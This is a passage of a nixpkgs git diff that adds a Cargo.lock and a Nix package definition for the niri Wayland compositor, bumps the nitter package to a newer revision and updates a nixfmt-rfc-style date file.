"ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3" +dependencies = [ + "log", + "once_cell", + "tracing-core", +] + +[[package]] +name = "tracing-subscriber" +version = "0.3.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad0f048c97dbd9faa9b7df56362b8ebcaa52adb06b498c050d2f4e32f90a7a8b" +dependencies = [ + "matchers", + "nu-ansi-term", + "once_cell", + "regex", + "sharded-slab", + "smallvec", + "thread_local", + "tracing", + "tracing-core", + "tracing-log", +] + +[[package]] +name = "tracy-client" +version = "0.16.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "307e6b7030112fe9640fdd87988a40795549ba75c355f59485d14e6b444d2987" +dependencies = [ + "loom", + "once_cell", + "tracy-client-sys", +] + +[[package]] +name = "tracy-client-sys" +version = "0.22.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d104d610dfa9dd154535102cc9c6164ae1fa37842bc2d9e83f9ac82b0ae0882" +dependencies = [ + "cc", +] + +[[package]] +name = "typenum" +version = "1.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" + +[[package]] +name = "udev" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "50051c6e22be28ee6f217d50014f3bc29e81c20dc66ff7ca0d5c5226e1dcc5a1" +dependencies = [ + "io-lifetimes 1.0.11", + "libc", + "libudev-sys", + "pkg-config", +] + +[[package]] +name = "uds_windows" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "89daebc3e6fd160ac4aa9fc8b3bf71e1f74fbf92367ae71fb83a037e8bf164b9" +dependencies = [ + "memoffset 0.9.0", + "tempfile", + "winapi", +] + +[[package]] +name = "unarray" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eaea85b334db583fe3274d12b4cd1880032beab409c0d774be044d4480ab9a94" + +[[package]] +name = "unicode-bidi" +version = "0.3.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08f95100a766bf4f8f28f90d77e0a5461bbdb219042e7679bebe79004fed8d75" + +[[package]] +name = "unicode-ident" +version = "1.0.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" + +[[package]] +name = "unicode-normalization" +version = "0.1.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921" +dependencies = [ + "tinyvec", +] + +[[package]] +name = "unicode-segmentation" +version = "1.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d4c87d22b6e3f4a18d4d40ef354e97c90fcb14dd91d7dc0aa9d8a1172ebf7202" + +[[package]] +name = "unicode-width" +version = "0.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e51733f11c9c4f72aa0c160008246859e340b00807569a0da0e7a1079b27ba85" + +[[package]] +name = "url" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "31e6302e3bb753d46e83516cae55ae196fc0c309407cf11ab35cc51a4c2a4633" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", +] + +[[package]] +name = "utf8parse" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" + +[[package]] +name = "valuable" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d" + +[[package]] +name = "version-compare" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "579a42fc0b8e0c63b76519a339be31bed574929511fa53c1a3acae26eb258f29" + +[[package]] +name = "version_check" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" + +[[package]] +name = "wait-timeout" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f200f5b12eb75f8c1ed65abd4b2db8a6e1b138a20de009dacee265a2498f3f6" +dependencies = [ + "libc", +] + +[[package]] +name = "waker-fn" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f3c4517f54858c779bbcbf228f4fca63d121bf85fbecb2dc578cdf4a39395690" + +[[package]] +name = "walkdir" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d71d857dc86794ca4c280d616f7da00d2dbfd8cd788846559a6813e6aa4b54ee" +dependencies = [ + "same-file", + "winapi-util", +] + +[[package]] +name = "wasi" +version = "0.11.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" + +[[package]] +name = "wasm-bindgen" +version = "0.2.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1e124130aee3fb58c5bdd6b639a0509486b0338acaaae0c84a5124b0f588b7f" +dependencies = [ + "cfg-if", + "wasm-bindgen-macro", +] + +[[package]] +name = "wasm-bindgen-backend" +version = "0.2.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c9e7e1900c352b609c8488ad12639a311045f40a35491fb69ba8c12f758af70b" +dependencies = [ + "bumpalo", + "log", + "once_cell", + "proc-macro2", + "quote", + "syn 2.0.48", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-futures" +version = "0.4.41" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877b9c3f61ceea0e56331985743b13f3d25c406a7098d45180fb5f09bc19ed97" +dependencies = [ + "cfg-if", + "js-sys", + "wasm-bindgen", + "web-sys", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b30af9e2d358182b5c7449424f017eba305ed32a7010509ede96cdc4696c46ed" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "642f325be6301eb8107a83d12a8ac6c1e1c54345a7ef1a9261962dfefda09e66" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", + "wasm-bindgen-backend", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4f186bd2dcf04330886ce82d6f33dd75a7bfcf69ecf5763b89fcde53b6ac9838" + +[[package]] +name = "wayland-backend" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d50fa61ce90d76474c87f5fc002828d81b32677340112b4ef08079a9d459a40" +dependencies = [ + "cc", + "downcast-rs", + "rustix 0.38.31", + "scoped-tls", + "smallvec", + "wayland-sys", +] + +[[package]] +name = "wayland-client" +version = "0.31.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "82fb96ee935c2cea6668ccb470fb7771f6215d1691746c2d896b447a00ad3f1f" +dependencies = [ + "bitflags 2.4.2", + "rustix 0.38.31", + "wayland-backend", + "wayland-scanner", +] + +[[package]] +name = "wayland-csd-frame" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "625c5029dbd43d25e6aa9615e88b829a5cad13b2819c4ae129fdbb7c31ab4c7e" +dependencies = [ + "bitflags 2.4.2", + "cursor-icon", + "wayland-backend", +] + +[[package]] +name = "wayland-cursor" +version = "0.31.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "71ce5fa868dd13d11a0d04c5e2e65726d0897be8de247c0c5a65886e283231ba" +dependencies = [ + "rustix 0.38.31", + "wayland-client", + "xcursor", +] + +[[package]] +name = "wayland-egl" +version = "0.32.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "355f652e5a24ae02d2ad536c8fc2d3dcc6c2bd635027cd6103a193e7d75eeda2" +dependencies = [ + "wayland-backend", + "wayland-sys", +] + +[[package]] +name = "wayland-protocols" +version = "0.31.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f81f365b8b4a97f422ac0e8737c438024b5951734506b0e1d775c73030561f4" +dependencies = [ + "bitflags 2.4.2", + "wayland-backend", + "wayland-client", + "wayland-scanner", + "wayland-server", +] + +[[package]] +name = "wayland-protocols-misc" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa5933740b200188c9b4c38601b8212e8c154d7de0d2cb171944e137a77de1e" +dependencies = [ + "bitflags 2.4.2", + "wayland-backend", + "wayland-protocols", + "wayland-scanner", + "wayland-server", +] + +[[package]] +name = "wayland-protocols-plasma" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23803551115ff9ea9bce586860c5c5a971e360825a0309264102a9495a5ff479" +dependencies = [ + "bitflags 2.4.2", + "wayland-backend", + "wayland-client", + "wayland-protocols", + "wayland-scanner", +] + +[[package]] +name = "wayland-protocols-wlr" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad1f61b76b6c2d8742e10f9ba5c3737f6530b4c243132c2a2ccc8aa96fe25cd6" +dependencies = [ + "bitflags 2.4.2", + "wayland-backend", + "wayland-client", + "wayland-protocols", + "wayland-scanner", + "wayland-server", +] + +[[package]] +name = "wayland-scanner" +version = "0.31.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63b3a62929287001986fb58c789dce9b67604a397c15c611ad9f747300b6c283" +dependencies = [ + "proc-macro2", + "quick-xml 0.31.0", + "quote", +] + +[[package]] +name = "wayland-server" +version = "0.31.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00e6e4d5c285bc24ba4ed2d5a4bd4febd5fd904451f465973225c8e99772fdb7" +dependencies = [ + "bitflags 2.4.2", + "downcast-rs", + "io-lifetimes 2.0.3", + "rustix 0.38.31", + "wayland-backend", + "wayland-scanner", +] + +[[package]] +name = "wayland-sys" +version = "0.31.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "15a0c8eaff5216d07f226cb7a549159267f3467b289d9a2e52fd3ef5aae2b7af" +dependencies = [ + "dlib", + "libc", + "log", + "memoffset 0.9.0", + "once_cell", + "pkg-config", +] + +[[package]] +name = "web-sys" +version = "0.3.68" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96565907687f7aceb35bc5fc03770a8a0471d82e479f25832f54a0e3f4b28446" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "web-time" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aa30049b1c872b72c89866d458eae9f20380ab280ffd1b1e18df2d3e2d98cfe0" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-util" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f29e6f9198ba0d26b4c9f07dbe6f9ed633e1f3d5b8b414090084349e46a52596" +dependencies = [ + "winapi", +] + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e686886bc078bc1b0b600cac0147aadb815089b6e4da64016cbd754b6342700f" +dependencies = [ + "windows-targets 0.48.5", +] + +[[package]] +name = "windows" +version = "0.51.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca229916c5ee38c2f2bc1e9d8f04df975b4bd93f9955dc69fabb5d91270045c9" +dependencies = [ + "windows-core", + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-core" +version = "0.51.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1f8cf84f35d2db49a46868f947758c7a1138116f7fac3bc844f43ade1292e64" +dependencies = [ + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-sys" +version = "0.45.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0" +dependencies = [ + "windows-targets 0.42.2", +] + +[[package]] +name = "windows-sys" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" +dependencies = [ + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.0", +] + +[[package]] +name = "windows-targets" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071" +dependencies = [ + "windows_aarch64_gnullvm 0.42.2", + "windows_aarch64_msvc 0.42.2", + "windows_i686_gnu 0.42.2", + "windows_i686_msvc 0.42.2", + "windows_x86_64_gnu 0.42.2", + "windows_x86_64_gnullvm 0.42.2", + "windows_x86_64_msvc 0.42.2", +] + +[[package]] +name = "windows-targets" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" +dependencies = [ + "windows_aarch64_gnullvm 0.48.5", + "windows_aarch64_msvc 0.48.5", + "windows_i686_gnu 0.48.5", + "windows_i686_msvc 0.48.5", + "windows_x86_64_gnu 0.48.5", + "windows_x86_64_gnullvm 0.48.5", + "windows_x86_64_msvc 0.48.5", +] + +[[package]] +name = "windows-targets" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" +dependencies = [ + "windows_aarch64_gnullvm 0.52.0", + "windows_aarch64_msvc 0.52.0", + "windows_i686_gnu 0.52.0", + "windows_i686_msvc 0.52.0", + "windows_x86_64_gnu 0.52.0", + "windows_x86_64_gnullvm 0.52.0", + "windows_x86_64_msvc 0.52.0", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" + +[[package]] +name = "windows_i686_gnu" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f" + +[[package]] +name = "windows_i686_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" + +[[package]] +name = "windows_i686_msvc" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060" + +[[package]] +name = "windows_i686_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" + +[[package]] +name = "winit" +version = "0.29.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c824f11941eeae66ec71111cc2674373c772f482b58939bb4066b642aa2ffcf" +dependencies = [ + "ahash", + "android-activity", + "atomic-waker", + "bitflags 2.4.2", + "bytemuck", + "calloop", + "cfg_aliases", + "core-foundation", + "core-graphics", + "cursor-icon", + "icrate", + "js-sys", + "libc", + "log", + "memmap2 0.9.4", + "ndk", + "ndk-sys", + "objc2", + "once_cell", + "orbclient", + "percent-encoding", + "raw-window-handle", + "redox_syscall 0.3.5", + "rustix 0.38.31", + "smithay-client-toolkit", + "smol_str", + "unicode-segmentation", + "wasm-bindgen", + "wasm-bindgen-futures", + "wayland-backend", + "wayland-client", + "wayland-protocols", + "wayland-protocols-plasma", + "web-sys", + "web-time", + "windows-sys 0.48.0", + "x11-dl", + "x11rb", + "xkbcommon-dl", +] + +[[package]] +name = "winnow" +version = "0.5.39" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5389a154b01683d28c77f8f68f49dea75f0a4da32557a58f68ee51ebba472d29" +dependencies = [ + "memchr", +] + +[[package]] +name = "x11-dl" +version = "2.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38735924fedd5314a6e548792904ed8c6de6636285cb9fec04d5b1db85c1516f" +dependencies = [ + "libc", + "once_cell", + "pkg-config", +] + +[[package]] +name = "x11rb" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8f25ead8c7e4cba123243a6367da5d3990e0d3affa708ea19dce96356bd9f1a" +dependencies = [ + "as-raw-xcb-connection", + "gethostname", + "libc", + "libloading", + "once_cell", + "rustix 0.38.31", + "x11rb-protocol", +] + +[[package]] +name = "x11rb-protocol" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e63e71c4b8bd9ffec2c963173a4dc4cbde9ee96961d4fcb4429db9929b606c34" + +[[package]] +name = "xcursor" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a0ccd7b4a5345edfcd0c3535718a4e9ff7798ffc536bb5b5a0e26ff84732911" + +[[package]] +name = "xdg-home" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "21e5a325c3cb8398ad6cf859c1135b25dd29e186679cf2da7581d9679f63b38e" +dependencies = [ + "libc", + "winapi", +] + +[[package]] +name = "xkbcommon" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13867d259930edc7091a6c41b4ce6eee464328c6ff9659b7e4c668ca20d4c91e" +dependencies = [ + "libc", + "memmap2 0.8.0", + "xkeysym", +] + +[[package]] +name = "xkbcommon-dl" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6924668544c48c0133152e7eec86d644a056ca3d09275eb8d5cdb9855f9d8699" +dependencies = [ + "bitflags 2.4.2", + "dlib", + "log", + "once_cell", + "xkeysym", +] + +[[package]] +name = "xkeysym" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "054a8e68b76250b253f671d1268cb7f1ae089ec35e195b2efb2a4e9a836d0621" + +[[package]] +name = "xml-rs" +version = "0.8.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fcb9cbac069e033553e8bb871be2fbdffcab578eb25bd0f7c508cedc6dcd75a" + +[[package]] +name = "xshell" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce2107fe03e558353b4c71ad7626d58ed82efaf56c54134228608893c77023ad" +dependencies = [ + "xshell-macros", +] + +[[package]] +name = "xshell-macros" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e2c411759b501fb9501aac2b1b2d287a6e93e5bdcf13c25306b23e1b716dd0e" + +[[package]] +name = "yansi-term" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe5c30ade05e61656247b2e334a031dfd0cc466fadef865bdcdea8d537951bf1" +dependencies = [ + "winapi", +] + +[[package]] +name = "zbus" +version = "3.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c45d06ae3b0f9ba1fb2671268b975557d8f5a84bb5ec6e43964f87e763d8bca8" +dependencies = [ + "async-broadcast", + "async-executor", + "async-fs", + "async-io 1.13.0", + "async-lock 2.8.0", + "async-process", + "async-recursion", + "async-task", + "async-trait", + "blocking", + "byteorder", + "derivative", + "enumflags2", + "event-listener 2.5.3", + "futures-core", + "futures-sink", + "futures-util", + "hex", + "nix 0.26.4", + "once_cell", + "ordered-stream", + "rand", + "serde", + "serde_repr", + "sha1", + "static_assertions", + "tracing", + "uds_windows", + "winapi", + "xdg-home", + "zbus_macros", + "zbus_names", + "zvariant", +] + +[[package]] +name = "zbus_macros" +version = "3.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4a1ba45ed0ad344b85a2bb5a1fe9830aed23d67812ea39a586e7d0136439c7d" +dependencies = [ + "proc-macro-crate 1.3.1", + "proc-macro2", + "quote", + "regex", + "syn 1.0.109", + "zvariant_utils", +] + +[[package]] +name = "zbus_names" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fb80bb776dbda6e23d705cf0123c3b95df99c4ebeaec6c2599d4a5419902b4a9" +dependencies = [ + "serde", + "static_assertions", + "zvariant", +] + +[[package]] +name = "zerocopy" +version = "0.7.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74d4d3961e53fa4c9a25a8637fc2bfaf2595b3d3ae34875568a5cf64787716be" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.7.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ce1b18ccd8e73a9321186f97e46f9f04b778851177567b1975109d26a08d2a6" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "zvariant" +version = "3.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44b291bee0d960c53170780af148dca5fa260a63cdd24f1962fa82e03e53338c" +dependencies = [ + "byteorder", + "enumflags2", + "libc", + "serde", + "static_assertions", + "zvariant_derive", +] + +[[package]] +name = "zvariant_derive" +version = "3.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "934d7a7dfc310d6ee06c87ffe88ef4eca7d3e37bb251dece2ef93da8f17d8ecd" +dependencies = [ + "proc-macro-crate 1.3.1", + "proc-macro2", + "quote", + "syn 1.0.109", + "zvariant_utils", +] + +[[package]] +name = "zvariant_utils" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7234f0d811589db492d16893e3f21e8e2fd282e6d01b0cddee310322062cc200" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] diff --git a/pkgs/by-name/ni/niri/package.nix b/pkgs/by-name/ni/niri/package.nix new file mode 100644 index 0000000000000..f704155fe70d7 --- /dev/null +++ b/pkgs/by-name/ni/niri/package.nix @@ -0,0 +1,91 @@ +{ lib +, rustPlatform +, fetchFromGitHub +, pkg-config +, libxkbcommon +, pango +, pipewire +, seatd +, stdenv +, wayland +, systemd +, libinput +, mesa +, fontconfig +, libglvnd +, libclang +, autoPatchelfHook +, clang +}: + +rustPlatform.buildRustPackage rec { + pname = "niri"; + version = "0.1.2"; + + src = fetchFromGitHub { + owner = "YaLTeR"; + repo = "niri"; + rev = "v${version}"; + hash = "sha256-vO6ak5rT6ntBC20vYC36zcEcHv7Cki9y8A+c7ThfsUg="; + }; + + cargoLock = { + lockFile = ./Cargo.lock; + outputHashes = { + "smithay-0.3.0" = "sha256-ZEWamojE5ZRlhPVv/DK2Mj+QIz7zudw9+AxFD7Onr9Q="; + }; + }; + + nativeBuildInputs = [ + pkg-config + rustPlatform.bindgenHook + autoPatchelfHook + clang + ]; + + buildInputs = [ + wayland + systemd # For libudev + seatd # For libseat + libxkbcommon + libinput + mesa # For libgbm + fontconfig + stdenv.cc.cc.lib + pipewire + pango + ]; + + runtimeDependencies = [ + wayland + mesa + libglvnd # For libEGL + ]; + + LIBCLANG_PATH = "${libclang.lib}/lib"; + + passthru.providedSessions = ["niri"]; + + postInstall = '' + mkdir -p $out/share/{systemd/user,wayland-sessions,xdg-desktop-portal} + + cp ./resources/niri-session $out/bin/niri-session + cp ./resources/niri.service $out/share/systemd/user/niri.service + cp ./resources/niri-shutdown.target $out/share/systemd/user/niri-shutdown.target + cp ./resources/niri.desktop $out/share/wayland-sessions/niri.desktop + cp ./resources/niri-portals.conf $out/share/xdg-desktop-portal/niri-portals.conf + ''; + + postFixup = '' + sed -i "s#/usr#$out#" $out/share/systemd/user/niri.service + ''; + + meta = with lib; { + description = "A scrollable-tiling Wayland compositor"; + homepage = "https://github.com/YaLTeR/niri"; + license = licenses.gpl3Only; + maintainers = with maintainers; [ iogamaster ]; + mainProgram = "niri"; + platforms = platforms.linux; + }; +} diff --git a/pkgs/by-name/ni/nitter/package.nix b/pkgs/by-name/ni/nitter/package.nix index 002f0f8598672..3b3e89cf3e699 100644 --- a/pkgs/by-name/ni/nitter/package.nix +++ b/pkgs/by-name/ni/nitter/package.nix @@ -8,13 +8,13 @@ buildNimPackage (finalAttrs: prevAttrs: { pname = "nitter"; - version = "unstable-2024-01-12"; + version = "unstable-2024-02-26"; src = fetchFromGitHub { owner = "zedeus"; repo = "nitter"; - rev = "52db03b73ad5f83f67c83ab197ae3b20a2523d39"; - hash = "sha256-Jp8iix6VUeepigGx+eeJUTQeZfSJ3tSc/TAa5AMfG2U="; + rev = "c6edec04901d0a37799499ed4c6921db640fb5a4"; + hash = "sha256-N3d63nyVzUTa2+UemA1REFfVsw6iOVU8xUlYraR55m4="; }; lockFile = ./lock.json; diff --git a/pkgs/by-name/ni/nixfmt-rfc-style/date.txt b/pkgs/by-name/ni/nixfmt-rfc-style/date.txt index b3c1f63a9286c..f4f1f2ef867ec 100644 --- a/pkgs/by-name/ni/nixfmt-rfc-style/date.txt +++ b/pkgs/by-name/ni/nixfmt-rfc-style/date.txt @@ -1 +1 @@ -2024-01-31 +2024-03-01 diff --git 